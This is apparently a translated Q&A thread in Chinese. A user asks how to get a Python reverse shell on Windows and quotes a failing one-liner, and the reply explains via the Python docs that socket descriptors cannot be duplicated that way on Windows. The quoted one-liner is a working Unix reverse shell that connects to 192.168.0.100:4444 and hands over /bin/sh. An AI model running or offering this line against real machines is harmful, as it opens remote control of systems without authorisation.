我试图从Windows机器(安装python)获得反向shell。是否有一个简短的脚本来做到这一点?
我尝试使用以下脚本:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.100",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
所有尝试都失败了,发出以下错误:
Errno 9:Bad file descriptor
任何帮助都将不胜感激。
答案 0 :(得分:1)
您的代码无法在Windows上运行(但您已经知道了)。
以下文档说它不起作用:
在Windows下,在可以使用文件描述符的地方(例如os.fdopen()),不能使用此方法返回的小整数。
https://docs.python.org/2/library/socket.html#socket.socket.fileno